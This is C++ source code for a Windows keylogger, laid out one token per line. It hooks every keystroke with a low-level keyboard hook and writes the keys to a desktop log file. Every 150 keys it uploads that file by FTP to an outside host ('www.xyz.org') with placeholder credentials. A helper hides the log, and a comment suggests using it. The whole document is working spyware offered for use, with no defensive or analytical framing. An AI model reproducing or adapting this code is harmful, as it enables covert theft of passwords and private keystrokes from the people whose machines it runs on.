#pragma
comment (lib,"wininet.lib")
#include
<windows.h>
#include
<wininet.h> //for uploadFile function
#include
<shlobj.h>
#include
<iostream>
using
namespace
std;
char
* extractFilename(
char
* path){
char
* ret = path;
bool
isFullPath =
false
;
for
(
int
i=0;i<
strlen
(path);i++){
if
(ret[i] ==
'\\'
){
isFullPath
=
true
;
}
}
if
(isFullPath){
ret
= (
char
*)((
DWORD
)path
+ lstrlen(path) - 1);
while
(*ret !=
'\\'
)
ret--;
ret++;
}
return
ret;
}
FILE
* f;
HHOOK
hKeyboardHook;
/*Change
file attributes to hidden*/
void
hide_file(
char
* file)
{
if
(GetFileAttributes(file) != 0x22)
SetFileAttributes(file,0x22);
}
/*Since
we are working with files placed on desktop we need the Desktop directory path*/
bool
getDesktopPath(
char
* ret)
{
char
desktop[260];
if
(SUCCEEDED(SHGetFolderPath(NULL,
CSIDL_DESKTOPDIRECTORY
| CSIDL_FLAG_CREATE,
NULL,
SHGFP_TYPE_CURRENT,
desktop)))
{
strcpy
(ret,desktop);
return
true
;
}
else
{
ret
= NULL;
return
false
;
}
}
//Multiple
concatenation
char
*dupcat(
const
char
*s1, ...){
int
len;
char
*p, *q, *sn;
va_list
ap;
len
=
strlen
(s1);
va_start
(ap,
s1);
while
(1) {
sn
=
va_arg
(ap,
char
*);
if
(!sn)
break
;
len
+=
strlen
(sn);
}
va_end
(ap);
p
=
new
char
[len
+ 1];
strcpy
(p,
s1);
q
= p +
strlen
(p);
va_start
(ap,
s1);
while
(1) {
sn
=
va_arg
(ap,
char
*);
if
(!sn)
break
;
strcpy
(q,
sn);
q
+=
strlen
(q);
}
va_end
(ap);
return
p;
}
//Example:
cout<<dupcat("D:","\\","Folder",0)<<endl; ==> D:\Folder
/*Upload
file to server*/
BOOL
uploadFile(
char
*filename,
char
*destination_name,
char
*address,
char
*username,
char
*password)
{
BOOL
t =
false
;
HINTERNET
hint,hftp;
hint
= InternetOpen(
"FTP"
,INTERNET_OPEN_TYPE_PRECONFIG,0,0,INTERNET_FLAG_ASYNC);
hftp
= InternetConnect(hint,address,INTERNET_DEFAULT_FTP_PORT,username,password,INTERNET_SERVICE_FTP,0,0);
t
= FtpPutFile(hftp,filename,destination_name,FTP_TRANSFER_TYPE_BINARY ,0);
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return
t;
}
static
int
keysPressed = 0;
//Lets
count the keys pressed
LRESULT
WINAPI Keylogger (
int
nCode,
WPARAM
wParam,
LPARAM
lParam)
{
char
currentDirectory[260];
char
* workFullPath;
if
((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
bool
truth = getDesktopPath(currentDirectory);
//If
we can capture the desktop directory then we are good
if
(truth)
{
//Concatenate
desktop directory and files
workFullPath
= dupcat(currentDirectory,
"\\work.txt"
,NULL);
//So
the file path will be like: C:\Users\Corporation\Desktop\work.txt
f
=
fopen
(workFullPath,
"a+"
);
//Open
the file
}
KBDLLHOOKSTRUCT
hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD
dwMsg = 1;
dwMsg
+= hooked_key.scanCode << 16;
dwMsg
+= hooked_key.flags << 24;
char
lpszKeyName[1024] = {0};
lpszKeyName[0]
=
'['
;
int
i = GetKeyNameText(dwMsg, (lpszKeyName + 1),0xFF) + 1;
int
key = hooked_key.vkCode;
lpszKeyName[i]
=
']'
;
//Key
value or something else ?
//if
the key if from A-Z,a-z,0-9 then add this to file
if
(key >=
'A'
&& key <=
'Z'
)
{
if
(GetAsyncKeyState(VK_SHIFT) >= 0)
key
+= 0x20;
if
(f != NULL)
fprintf
(f,
"%c"
,
key);
}
//else
add the name of the key.For example if the key is 32 -> Add "Space" to the file,so we know that space has been pressed.lpszKeyName is that name.
else
{
if
(f != NULL)
fprintf
(f,
"%s"
,
lpszKeyName);
}
keysPressed
++;
if
(keysPressed == 150)
//Enough
data
{
//extractFilename
is used to extract only the file from path:Example: C:\data\x.php,
//extractFilename("C:\\data\\x.php")
=> x.php so that we add only the file to ftp
uploadFile(workFullPath,extractFilename(workFullPath),
"www.xyz.org"
,
"ftpUsername"
,
"ftpPassword"
);
//Upload
the file to FTP
keysPressed
= 0;
}
//You
can make the file hidden :))
//hide_file(workFullPath);
fclose
(f);
}
return
CallNextHookEx(hKeyboardHook,nCode,wParam,lParam);
}
DWORD
WINAPI JACKAL(
LPVOID
lpParm)
{
HINSTANCE
hins;
hins
= GetModuleHandle(NULL);
hKeyboardHook
= SetWindowsHookEx ( WH_KEYBOARD_LL, (HOOKPROC) Keylogger, hins, 0);
MSG
message;
while
(GetMessage(&message,NULL,0,0))
{
TranslateMessage(
&message );
DispatchMessage(
&message );
}
UnhookWindowsHookEx(hKeyboardHook);
return
0;
}
void
main(){
JACKAL(NULL);
}